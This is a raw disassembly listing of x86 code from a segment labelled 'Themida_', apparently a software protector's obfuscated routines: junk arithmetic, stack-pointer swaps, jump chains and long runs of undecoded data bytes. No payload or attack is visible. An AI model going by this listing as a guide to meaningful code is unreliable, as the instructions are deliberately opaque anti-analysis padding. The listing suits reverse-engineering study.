add esp, 4 jmp loc_5099CB ; --------------------------------------------------------------------------- db 0ACh dd 0FF93E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_509CE9: ; CODE XREF: Themida_:00503317j mov [esp], ebx mov ebx, 67D27AF1h sub ecx, 8DF10E1h add ecx, 1932063Eh sub ecx, ebx sub ecx, 1932063Eh add ecx, 8DF10E1h pop ebx push dword ptr [ecx] pop eax pop ecx push dword ptr [edi+eax*4] jmp loc_502B95 ; --------------------------------------------------------------------------- dd 33240431h, 248B2404h, 6ED6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509D26: ; CODE XREF: Themida_:00509290j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_50D10B ; --------------------------------------------------------------------------- db 0C1h dd 0C78103E7h, 9C3DE98Bh, 0F75FFB89h, 0EBC381D3h, 0E9135907h dd 0FFFFB828h, 0B4505166h, 5E4C008h, 0E9D8E480h, 0FFFF82DFh ; --------------------------------------------------------------------------- loc_509D70: ; CODE XREF: Themida_:00510730j mov edx, ecx pop ecx mov esi, 13914422h add esi, edx mov edx, [esp] add esp, 4 jmp loc_504E1C ; --------------------------------------------------------------------------- loc_509D88: ; CODE XREF: Themida_:0050723Fj add eax, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and ecx, eax jmp loc_508C94 ; --------------------------------------------------------------------------- dd 1C8BDF01h, 8E9BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509DAE: ; CODE XREF: Themida_:00506525j sub ebx, 491373BAh jmp loc_502368 ; --------------------------------------------------------------------------- db 5Fh, 1, 0DAh dd 7C5BC281h, 0FF5B49E6h, 25E92434h, 83FFFFF5h, 0B85004C4h dd 12E1161h, 0CB04AD25h, 6E8C13Eh, 415ED52Dh, 36D9056Eh dd 0C5016E41h, 0BE70E958h, 815FFFFFh, 4A78A2EAh, 5AD1010Bh dd 4EC81h, 1C890000h, 1D8DE924h, 0C330000h, 240C3124h dd 5C240C33h, 4BD55h, 0E9810000h, 7A0B36ABh, 13B0E981h dd 0E9011612h, 7E9h, 0E9EED100h, 0FFFF6A68h, 573ABB53h dd 0F381258Bh, 3399448Ah, 0E95BD901h, 0FFFFCE04h, 8E8CE95Eh dd 4BF0000h, 1000000h, 4055FF8h, 87000000h, 0CE92404h dd 0F7000043h, 0FFCF81DFh, 81647A0Eh, 8DAB15EFh, 5FF929C4h dd 6CA3E981h, 4F68078Fh, 89000077h, 89E9242Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509E83: ; CODE XREF: Themida_:00502399j sub edi, 3CE23BD3h add edi, ebp jmp loc_50882C ; --------------------------------------------------------------------------- dd 0FF5981E9h, 50E959FFh db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_509E9B: ; CODE XREF: Themida_:005053F4j push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_506517 ; --------------------------------------------------------------------------- db 0F7h aQVNZ0sw db '',7,'V',9,'0w',0 db 0 ; --------------------------------------------------------------------------- loc_509EC7: ; CODE XREF: Themida_:00508EB0j push ebp mov ebp, 7A705B58h shl ebp, 7 xor ebp, 382DAC04h add eax, ebp pop ebp jmp loc_50BE28 ; --------------------------------------------------------------------------- loc_509EDE: ; CODE XREF: Themida_:00505810j add ebx, 49AB163Ah jmp loc_514473 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0F1h dd 17F622Fh, 0F1C681EEh, 5D7F622Fh, 5716E981h, 0F1010541h dd 0FFE505E9h, 8BF201FFh, 89532434h, 4C381E3h, 81000000h dd 4C3h, 39E95300h, 68FFFFB0h, 0A40h, 24048F54h, 4240481h dd 58000000h, 0E904EC83h, 945Fh ; --------------------------------------------------------------------------- loc_509F38: ; CODE XREF: Themida_:0050FC2Bj pop eax jmp loc_50E473 ; --------------------------------------------------------------------------- dw 0E9C1h dd 0F1814903h, 2A1BA1B6h, 1595851h, 0E9042444h, 250Ch dd 0C15DEE21h, 0E95106EEh, 0FFFF7B90h, 0E6E99E2Ch db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509F67: ; CODE XREF: Themida_:00503B8Cj push dword ptr [esp+4] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp or ebx, ebx jnz loc_511454 push 6FC4h mov [esp], edx jmp loc_50A18F ; --------------------------------------------------------------------------- db 59h dd 0FF7FEFE9h, 57E8D1FFh, 3363E9h, 5B136800h, 3C890000h dd 0C4E95124h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_509FB3: ; CODE XREF: Themida_:00512C0Bj push esi push edx jmp loc_500C70 ; --------------------------------------------------------------------------- loc_509FBA: ; CODE XREF: Themida_:0050E5AFj push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edi mov edi, esp push ebp jmp loc_50BACF ; --------------------------------------------------------------------------- loc_509FCF: ; CODE XREF: Themida_:00500835j xchg ebx, [esp] pop esp push edi sub esp, 4 mov [esp], ebx pop edi mov ebx, [esp] jmp loc_514391 ; --------------------------------------------------------------------------- db 81h dd 880A83E1h, 62C98158h, 572F9E10h, 0A12295BFh, 0EF814761h dd 14F714BBh, 3603E781h, 0E7D10A7Bh, 6266BE56h, 0EEE964F2h dd 81000067h, 4C3h, 4C38100h, 0E9000000h, 9925h, 33EF68h dd 241C8900h, 62E90DB3h, 81000027h, 1EBh, 7C676800h, 1C890000h dd 241CF724h, 5569685Bh, 0C890000h, 7C14B924h, 0F9E95FC9h dd 5AFFFFBCh, 1761E9h, 34FF5E00h, 0C4835824h, 2C18104h dd 51000000h, 42474FFh, 6265E9h db 0 ; --------------------------------------------------------------------------- loc_50A071: ; CODE XREF: Themida_:005061A2j or edx, eax shl edx, 1 jmp loc_5062B9 ; --------------------------------------------------------------------------- dw 1489h aSW db '$W',0 align 2 loc_50A082: ; CODE XREF: Themida_:0051449Fj push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] pop esp push ebp push esi push 6C9F16DEh jmp loc_511579 ; --------------------------------------------------------------------------- db 2Dh, 0Bh, 16h dd 0F74855F1h, 516D35D0h, 0C1297580h, 53E98158h, 5E62F405h dd 3EBEE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A0B6: ; CODE XREF: Themida_:00508023j add ecx, 4 jmp loc_5080BE ; --------------------------------------------------------------------------- dw 0F781h aC?fsj db '/c?fj$',0 dd 0E8E95B00h, 2DFFFFE2h, 3756476Fh, 1A6B2D5Fh, 3CE92087h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A0DF: ; CODE XREF: Themida_:0050A83Bj push ebp push edx jmp loc_50E9E7 ; --------------------------------------------------------------------------- dw 3489h dd 4EC8124h, 89000000h, 56572424h, 7933A568h, 0FAE95E3Ah dd 80FFFFB2h, 1C8B2DEAh, 0E1895124h, 4C181h, 5BE90000h dd 68FFFF79h, 579Eh, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 83242489h, 8F042404h, 50532404h, 7580E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A13A: ; CODE XREF: Themida_:00502F23j shr edx, 1 jmp loc_501301 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 815C2414h, 4C5h, 4759E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A156: ; CODE XREF: Themida_:00505276j xor eax, 2B43825Ah xor edx, eax pop eax or edx, 5AAE4AE5h or edx, 1E76543h jmp loc_508B22 ; --------------------------------------------------------------------------- db 5Bh dd 8904EC83h, 4B82404h, 81000000h, 3B1D2FC3h, 81C30129h dd 3B1D2FEBh, 0A2E95829h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A18F: ; CODE XREF: Themida_:00509F92j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], eax push esi push esp pop esi push eax push edi mov edi, 684D2527h add edi, 0C1E80585h mov eax, edi pop edi not eax jmp loc_500087 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 36h dd 28FFFFF8h, 71B6E9F0h, 0F581FFFFh, 4A94382Dh, 605EBF57h dd 0ED811637h, 56100002h, 0C581FD01h, 56100002h, 5462E95Fh dd 77FF0000h, 19589D1Ch, 0E99C2404h, 0FFFF5616h ; --------------------------------------------------------------------------- loc_50A200: ; CODE XREF: Themida_:005052A9j push ebx push esi jmp loc_5105A6 ; --------------------------------------------------------------------------- db 81h dd 0B07D4EE1h, 8EBB5355h, 0C103392Ch, 3BE908EBh, 81000029h dd 4ECh, 24148900h, 0BAh, 0E9515000h, 0FFFF6AC7h, 0E92C77FFh dd 0FFFF55DEh, 515A5452h, 0A1FCE9h db 0 ; --------------------------------------------------------------------------- loc_50A241: ; CODE XREF: Themida_:00513E32j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 add edi, 4 add edi, 4 jmp loc_50BDC3 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF240489h, 58042474h, 5C24048Fh, 0E9E78957h, 0FFFF9D4Bh dd 5B7FE9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A286: ; CODE XREF: Themida_:00511AE2j add ecx, 0D3623F7h add ecx, edi sub ecx, 0D3623F7h jmp loc_508ECF ; --------------------------------------------------------------------------- loc_50A299: ; CODE XREF: Themida_:00503CBFj push ebx mov ebx, esp jmp loc_500829 ; --------------------------------------------------------------------------- a_sG db ')<$_霣',0 align 2 aNwsz db 'Wz',9,0 dd 6516800h, 2C890000h, 4BD24h, 0EA010000h, 4EC835Dh, 0FF241489h dd 5A042474h, 80A0E9h db 0 ; --------------------------------------------------------------------------- loc_50A2D1: ; CODE XREF: Themida_:0050395Aj pop cx sub dl, al mov eax, [esp] jmp loc_50DA90 ; --------------------------------------------------------------------------- loc_50A2DD: ; CODE XREF: Themida_:005142BFj mov edx, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xchg edx, [esp] jmp loc_512202 ; --------------------------------------------------------------------------- db 89h dd 0B5512414h, 0F7CCE9ABh, 0D6F7FFFFh, 9098C681h, 0F2013C5Bh dd 0F5EA815Eh, 81879121h, 626FECEFh, 0E9D7013Ah, 0FFFF5538h dd 0EE6B1CB9h, 59CB292Fh, 735EEB81h, 515E1BBAh, 0B6468h dd 242C8900h, 73399DBDh, 0C4C1E96Dh, 0E108FFFFh, 69C98058h dd 99B35366h, 5B66D930h, 44E9FD2Ch db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A35B: ; CODE XREF: Themida_:0050CCD1j push dword ptr [esp] jmp loc_50263C ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 54A4E99Ch, 8166FFFFh, 667DC4EBh dd 0AE9DF89h, 8100007Ch, 0B00F58EDh, 0E9EDD141h, 3376h dd 0D8F6B1B0h, 0FFEF92E9h, 24148BFFh, 4C481h, 29E90000h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A3A3: ; CODE XREF: Themida_:0050D133j add ebp, eax pop eax sub ebp, 0D5F7375h mov esi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], eax jmp loc_4FF816 ; --------------------------------------------------------------------------- db 29h dd 0D7F75EF7h, 9319E9h db 0 ; --------------------------------------------------------------------------- loc_50A3D1: ; CODE XREF: Themida_:005062CBj mov [esp], edx push ecx push 4B281C60h pop ecx inc ecx add ecx, 5CC94876h jmp loc_5074E5 ; --------------------------------------------------------------------------- loc_50A3E7: ; CODE XREF: Themida_:00510BA0j sub ebx, 4 xchg ebx, [esp] jmp loc_5138E5 ; --------------------------------------------------------------------------- loc_50A3F2: ; CODE XREF: Themida_:00510D1Dj add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], edi push 26BDh jmp loc_500A62 ; --------------------------------------------------------------------------- loc_50A41C: ; CODE XREF: Themida_:00508F54j add edx, eax sub edx, 5CC66A4h push eax push esi mov esi, 705B1C07h jmp loc_5019C0 ; --------------------------------------------------------------------------- loc_50A430: ; CODE XREF: Themida_:005077CFj mov [esp], bx push ecx sub esp, 2 mov [esp], ax jmp loc_514204 ; --------------------------------------------------------------------------- loc_50A441: ; CODE XREF: Themida_:005027E2j add ebx, ecx pop ecx push eax mov eax, 9D23AEEh add eax, 0FFFFFFFFh inc eax or eax, 0A820511h neg eax jmp loc_502EB4 ; --------------------------------------------------------------------------- dw 0F889h a_ha db '_h=',0 align 2 dw 1489h aSps db '$Ps',0 align 2 dw 835Eh dd 0C8904ECh, 783AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A476: ; CODE XREF: Themida_:00507E7Dj sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_51312B ; --------------------------------------------------------------------------- dd 2434FF59h, 4B9CE9h, 4C48300h, 5C580B05h, 240C8B0Ah dd 0E904C483h, 8465h, 8B4807BEh, 0A4E94643h, 8900008Fh dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 2404895Ch, 0FFB21BE9h dd 4C381FFh, 87000000h, 85E9241Ch db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A4D3: ; CODE XREF: Themida_:00500CAAj push eax jmp loc_51134B ; --------------------------------------------------------------------------- loc_50A4D9: ; CODE XREF: Themida_:005030E9j not edi add edi, 0C7F69559h mov ebx, edi pop edi shl ebx, 2 shr ebx, 4 push 322Dh jmp loc_5014AC ; --------------------------------------------------------------------------- loc_50A4F4: ; CODE XREF: Themida_:00507569j add edx, 4 jmp loc_512199 ; --------------------------------------------------------------------------- loc_50A4FF: ; CODE XREF: Themida_:0050FC20j sub edi, ecx pop ecx mov ebp, edi push dword ptr [esp] pop edi add esp, 4 push edi jmp loc_50565F ; --------------------------------------------------------------------------- db 81h, 0EBh, 8Bh dd 81ED24F0h, 815754C7h, 81DF2976h, 815754EFh, 0C7815B76h dd 0D0017B2h, 0EF81DF29h, 0D0017B2h, 104BBB53h, 0DF01536Eh dd 0C4EF815Bh, 5341A860h, 6D8FE9h, 24348B00h, 5204C483h dd 42474FFh, 0E924148Bh, 0FFFF9DC1h ; --------------------------------------------------------------------------- loc_50A55C: ; CODE XREF: Themida_:005149E7j mov [esp], ecx jmp loc_500793 ; --------------------------------------------------------------------------- loc_50A564: ; CODE XREF: Themida_:00501519j push esi sub dword ptr [esp], 37385342h jmp loc_5080D6 ; --------------------------------------------------------------------------- loc_50A571: ; CODE XREF: Themida_:005026B0j sub ebp, edi pop edi jmp loc_510EBC ; --------------------------------------------------------------------------- loc_50A579: ; CODE XREF: Themida_:0050C414j push esi mov esi, 3D304757h mov edx, 3D30475Bh sub edx, esi pop esi add ecx, edx pop edx push 724Ch mov [esp], esi push 2018h mov [esp], ebx jmp loc_50CC85 ; --------------------------------------------------------------------------- db 0F7h dd 6EB951D0h, 8158E57Ch, 0E1AC5F1h, 27F18174h, 0E9C23B71h dd 56Fh ; --------------------------------------------------------------------------- loc_50A5B8: ; CODE XREF: Themida_:00503B29j inc eax sub eax, 1 shl eax, 2 xor eax, 206A745Ah shr eax, 4 xor eax, 3C8B737h add edx, eax pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] loc_50A5DD: ; CODE XREF: Themida_:loc_5027E7j push 7689h mov [esp], esi mov esi, esp push 4767h mov [esp], edi mov edi, 41B008A8h push edx mov edx, 39CB017Dh jmp loc_513F72 ; --------------------------------------------------------------------------- loc_50A5FF: ; CODE XREF: Themida_:005054A6j pop esi add esp, 4 push ebp mov ebp, 4 add esi, 77EE775Dh add esi, ebp sub esi, 77EE775Dh jmp loc_5098A3 ; --------------------------------------------------------------------------- dd 81664966h, 6693DCC1h, 6659CF89h, 6603EFC1h, 2457C781h dd 5FFD8966h, 0FFEE0FE9h, 2EC581FFh, 0E9FD2614h, 0FFFFAA21h dd 0FF2434FFh, 815B2434h, 4C4h, 0E9545600h, 0FFFFBADBh ; --------------------------------------------------------------------------- loc_50A658: ; CODE XREF: Themida_:005005E7j push esi mov esi, 4 add ecx, esi jmp loc_50DB62 ; --------------------------------------------------------------------------- loc_50A665: ; CODE XREF: Themida_:00507FCEj xor ecx, 6F1E2BC9h shl ecx, 4 jmp loc_50FB3C ; --------------------------------------------------------------------------- db 53h dd 0D7F6B1B7h, 0EB6E9h db 0 ; --------------------------------------------------------------------------- loc_50A67D: ; CODE XREF: Themida_:00513294j mov [esp], edx push 4000h pop edx jmp loc_50D2E4 ; --------------------------------------------------------------------------- loc_50A68B: ; CODE XREF: Themida_:00501207j push ecx mov ecx, 360675Ah xor ecx, edi xor edi, ecx xor ecx, edi push edi not dword ptr [esp] jmp loc_509180 ; --------------------------------------------------------------------------- dd 0CBE5651h, 0B9636C11h, 9C93EEF8h, 0E95EF101h, 4843h dd 3F5970BBh, 94C38152h, 1ADC0A6h, 241C8BDFh, 4C481h, 0B9510000h dd 4, 937FE9h, 2434FF00h, 0E92434FFh, 0FFFFC89Bh, 44015E59h dd 0AEE90424h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A6EB: ; CODE XREF: Themida_:00500674j add esi, 962745h sub eax, esi jmp loc_50677B ; --------------------------------------------------------------------------- loc_50A6F8: ; CODE XREF: Themida_:0050C98Cj push edi mov edi, 4 sub ebp, edi mov edi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_4FF816 ; --------------------------------------------------------------------------- dd 0EF20E95Bh, 0D129FFFFh, 73FAE9h, 4EC8100h, 89000000h dd 2BD242Ch, 1000000h, 2434FFEBh, 4C4835Dh, 31241C33h dd 1C33241Ch, 24248B24h, 24048F66h, 0FFF53BE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A74D: ; CODE XREF: Themida_:00503342j add ebx, 4 push eax mov eax, 317F2CD7h add eax, 1A06759Dh not eax sub eax, 14DF4383h shr eax, 1 xor eax, 4FCD8D00h add ebx, eax pop eax xchg ebx, [esp] jmp loc_510D79 ; --------------------------------------------------------------------------- db 5Ah dd 2DDE9h, 88CE8800h, 0D4F65AF4h, 0FF8800E9h, 4BE56FFh dd 1000000h, 5B06E9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A796: ; CODE XREF: Themida_:00502142j sub esp, 4 mov [esp], eax mov eax, 24h sub eax, 45FE3832h add eax, edi add eax, 45FE3832h push 2BF2h mov [esp], ebx push 4050h mov [esp], eax push ebx push 72CA75FCh pop ebx jmp loc_50B5FD ; --------------------------------------------------------------------------- aUs db 'U',27h,'>',0 align 2 dw 0E948h dd 1C41h, 42474FFh, 0FFF6B4E9h, 5B8A68FFh, 1C890000h, 0EC20E924h dd 0EEC1FFFFh, 95E68103h, 0E910B31Ch, 0FFFFA7AFh ; --------------------------------------------------------------------------- loc_50A7FC: ; CODE XREF: Themida_:0050B62Bj pop esp mov [esp], edx push 2892138Eh jmp loc_5032EE ; --------------------------------------------------------------------------- loc_50A80A: ; CODE XREF: Themida_:00511909j pop ebp push ebx mov ebx, 0 add ebx, eax mov [ebx], ebp pop ebx pop eax mov ebp, [esp] add esp, 4 push eax mov eax, 30h add eax, edx xor [eax], esi pop eax pop esi jmp loc_501F1E ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 8633E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A83A: ; CODE XREF: Themida_:00502C9Ej push ecx jmp loc_50A0DF ; --------------------------------------------------------------------------- dd 430AE581h, 6CE9326Ch db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A84B: ; CODE XREF: Themida_:00510106j push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push 7AEh mov [esp], esi sub esp, 4 jmp loc_50E117 ; --------------------------------------------------------------------------- db 83h, 0C1h, 2 dd 4EC81h, 0C0E90000h, 89FFFFC2h, 0E789243Ch, 32AAB951h dd 0D1F74470h, 7A36E9h, 50F8BB00h, 0E9434C59h, 6B8Fh ; --------------------------------------------------------------------------- loc_50A8A0: ; CODE XREF: Themida_:00503F0Ej add edi, edx add edi, 3B3D0BE5h add edi, 55CE0A26h jmp loc_505FED ; --------------------------------------------------------------------------- db 4Fh dd 820F781h, 0ACE9794Dh, 0FF00008Ah, 8B042474h, 35E92404h dd 1FFFFB6h, 0CD815FFDh, 0BB6429h, 9B9BC581h, 0E9893E04h dd 8BCD015Dh, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 0BB8DE900h dd 248BFFFFh, 24042124h, 4F14E99Ch, 0C280FFFFh, 0E9D58834h dd 0FFFFF747h ; --------------------------------------------------------------------------- loc_50A90C: ; CODE XREF: Themida_:004FFBB3j mov [esp], eax mov eax, 4 add ecx, eax jmp loc_50AE7F ; --------------------------------------------------------------------------- loc_50A91B: ; CODE XREF: Themida_:00502637j push 3C6Dh mov [esp], edi mov edi, esp jmp loc_502629 ; --------------------------------------------------------------------------- dw 0BE56h dd 258F5882h, 0E63CC681h, 0B5E914C8h, 89FFFFD3h, 25E9241Ch db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A943: ; CODE XREF: Themida_:0050CCF3j xor [esp], eax xor eax, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx jmp loc_502CAC ; --------------------------------------------------------------------------- loc_50A956: ; CODE XREF: Themida_:005040F3j jz loc_5073A4 push 76FAh jmp loc_50E617 ; --------------------------------------------------------------------------- loc_50A966: ; CODE XREF: Themida_:0050861Cj pop ebp sub esp, 4 mov [esp], esi mov esi, 4 sub eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] jmp loc_5149E6 ; --------------------------------------------------------------------------- loc_50A985: ; CODE XREF: Themida_:00512E4Dj mov eax, 6596297Bh jmp loc_50423D ; --------------------------------------------------------------------------- loc_50A98F: ; CODE XREF: Themida_:0050080Ej mov edi, esi mov ebx, edi pop edi jmp loc_50B875 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324048Bh, 0C48304C4h, 242C8B04h, 81E28952h, 4C2h, 85DEE900h dd 0FB310000h, 0E7C1DF31h, 0F7CF8702h, 31CF31D1h, 81CF31F9h dd 360D09EFh, 747B2D96h, 0F8293DE3h, 0E3747B05h, 2434FF3Dh dd 83243C8Bh, 0C48304C4h, 0E846E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A9EA: ; CODE XREF: Themida_:0050BB87j push dword ptr [esp+4] mov ecx, [esp] jmp loc_511421 ; --------------------------------------------------------------------------- loc_50A9F6: ; CODE XREF: Themida_:0050F6A6j push dword ptr [esp] jmp loc_50DCDE ; --------------------------------------------------------------------------- loc_50A9FE: ; CODE XREF: Themida_:00511408j pop ebx xchg ecx, [esp] pop esp push ecx jmp loc_51441A ; --------------------------------------------------------------------------- loc_50AA09: ; CODE XREF: Themida_:0050AD8Aj sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], edx push 0D73h mov [esp], ebx push eax mov ah, 0CDh mov bl, 0D2h sub bl, ah pop eax mov dh, bl pop ebx add dh, 18h sub al, dh jmp loc_504651 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 6507h, 3EE02D59h, 0F0017B0Ah, 0A3EE005h dd 55D02D7Bh, 348B0900h, 4EC8324h, 89240489h, 0A2EEE9E0h dd 89500000h, 0E9C689E8h, 30ACh ; --------------------------------------------------------------------------- loc_50AA64: ; CODE XREF: Themida_:0050C09Ej neg dl neg dl or dl, 0C8h jmp loc_513863 ; --------------------------------------------------------------------------- dd 815EF001h, 4ECh, 24048900h, 42474FFh, 582434FFh, 51E78957h dd 1F054EB9h, 47CCE907h, 15680000h, 0E9000010h, 6698h dd 8B2414F7h, 0C4812414h, 4, 5707E2C1h, 0E5A21BFh, 0F7EFD17Dh dd 0E95250DFh, 9AFFh, 162CB850h, 0C729D585h, 38EA8158h dd 1017646h, 38C281FAh, 5F017646h, 0FFFC41E9h, 241489FFh dd 0E24B86BAh, 1685682Ch, 0B0E90000h, 80FFFF64h, 0DCF671C4h dd 805DE480h, 0EC80AECCh, 0F848E965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AAFE: ; CODE XREF: Themida_:0050E03Bj mov esi, 779D14F8h mov ebp, esi jmp loc_50F73D ; --------------------------------------------------------------------------- dw 0B652h dd 9FE9808Fh, 9A16E9h db 0 ; --------------------------------------------------------------------------- loc_50AB15: ; CODE XREF: Themida_:00511F4Cj add al, ch pop ecx push ebx mov bh, 0ABh dec bh neg bh sub bh, 0 jmp loc_51077D ; --------------------------------------------------------------------------- db 1 aY1SJ db 'Y1J',0 db 0 ; --------------------------------------------------------------------------- loc_50AB31: ; CODE XREF: Themida_:0050F584j pop ecx mov cl, dh pop edx or dl, cl mov cx, [esp] add esp, 2 jmp loc_5036B6 ; --------------------------------------------------------------------------- loc_50AB43: ; CODE XREF: Themida_:00501F36j pop ecx add ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push esi mov esi, 4AC4042Ch add esi, 0FFFFFFFFh inc esi sub esi, 0E2F1893Bh add ecx, esi mov esi, [esp] add esp, 4 jmp loc_506EA8 ; --------------------------------------------------------------------------- db 66h, 50h, 0F6h dd 66012454h, 66E18658h, 88CF8853h, 8311E9D1h, 0E368FFFFh dd 81000021h, 4ECh, 24248900h, 4240481h, 8F000000h, 4812404h dd 424h, 0D2E95D00h, 330000A0h, 34312434h, 24343324h, 0E924248Bh dd 50Ah, 75C1E953h, 3C8BFFFFh, 5B9CE924h, 0F75B0000h, 0BA524BDBh dd 0E98DDC1Ch, 0C5E9D331h, 81000075h, 1609ECC6h, 3AF6812Ch dd 8340A37Ah, 0B85001EEh, 2EB528E3h, 3A5B2F25h, 720D4855h dd 57481001h, 344CE9h, 59CD0100h, 0ED81FD01h, 7FFF523Bh dd 4670C581h, 3C8B3A58h, 4C48324h, 2C581h, 2C870000h, 94E95C24h dd 81000000h, 4ECh, 241C8900h, 0FF6E75E9h, 2EDA35FFh, 0E2D5AC0h dd 1CF10A7h, 0EDC158C5h, 0B4F58102h, 87233926h, 906EE9F5h dd 8953FFFFh, 4C381E3h, 57000000h, 4BFh, 5FFB0100h, 5C241C87h dd 4BA4E95Bh, 0F681FFFFh, 55CD6243h, 1BF2BB53h, 0DE2173E2h dd 0E9D6875Bh, 0FFFFE9FFh, 4E5C14Dh, 7805ED81h, 0C581571Fh dd 0F2E93AE2h, 0E95DEB21h, 2E18h ; --------------------------------------------------------------------------- loc_50ACA0: ; CODE XREF: Themida_:0050F9BAj sub edi, ebx add edi, 23E63FF5h pop ebx xor eax, edi push dword ptr [esp] jmp loc_5118A9 ; --------------------------------------------------------------------------- db 5Bh dd 388BEA81h, 70E9649Ah, 66FFFFC8h, 9C240CD3h, 0FF4B4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50ACC9: ; CODE XREF: Themida_:00501C7Fj pop esp push edx add dword ptr [esp], 537D7FD8h mov esi, [esp] add esp, 4 jmp loc_50416A ; --------------------------------------------------------------------------- db 58h, 50h, 88h dd 0E9E388ECh, 0FFFF9EDAh, 0AE25E868h, 59E95D0Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50ACF3: ; CODE XREF: Themida_:0050C0BBj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_50FC02 ; --------------------------------------------------------------------------- dw 159h dd 2434FFFDh, 4C4815Fh, 81000000h, 6C0CAAEDh, 8BEF0114h dd 5457242Ch, 4C7815Fh, 83000000h, 3C8704C7h, 24248B24h dd 4C781h, 0EC830000h, 243C8904h, 42474FFh, 4875E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50AD4A: ; CODE XREF: Themida_:0050F1D2j pop ebx jmp loc_502F0A ; --------------------------------------------------------------------------- aFqf db 'fQf',0 align 2 dw 2966h dd 0CE8766F1h, 81665966h, 66C05DEEh, 6639A805h, 2D66F029h dd 0AAE939A8h, 56000022h, 0E9095E5Dh, 8102E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AD7E: ; CODE XREF: Themida_:0050B746j add ebp, 4 push edi mov edi, 4 jmp loc_50AA09 ; --------------------------------------------------------------------------- db 53h dd 300F7CBBh, 8BDF0145h, 0C481241Ch, 4, 525968h, 242C8900h dd 9D71D8BDh, 5DEF2949h, 5D545558h, 4C581h, 0ED810000h dd 4, 0E9242C87h, 0FFFF785Bh, 4C481h, 0E9560000h, 9EFCh ; --------------------------------------------------------------------------- loc_50ADD4: ; CODE XREF: Themida_:00507D0Dj push edi mov edi, 0C0818004h sub esi, edi pop edi jmp loc_514936 ; --------------------------------------------------------------------------- loc_50ADE2: ; CODE XREF: Themida_:00505B53j add esi, 4 sub esi, 4 jmp loc_507EDF ; --------------------------------------------------------------------------- dd 0C688D888h, 2434FF58h, 0FF5601E9h, 241C8BFFh, 4C481h dd 0C8B0000h, 4C48324h, 0B60FC330h, 48F66C0h, 49FCE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AE1A: ; CODE XREF: Themida_:005064B9j and edi, 325B63E0h shr edi, 3 sub edi, 9A39D8C5h sub esp, 4 mov [esp], ebp mov ebp, 4E4E18BCh or edi, ebp jmp loc_505105 ; --------------------------------------------------------------------------- db 0ADh dd 4947FE2Dh, 0EC81524Eh, 4, 0FFDD84E9h, 24348BFFh, 0FF6D02E9h 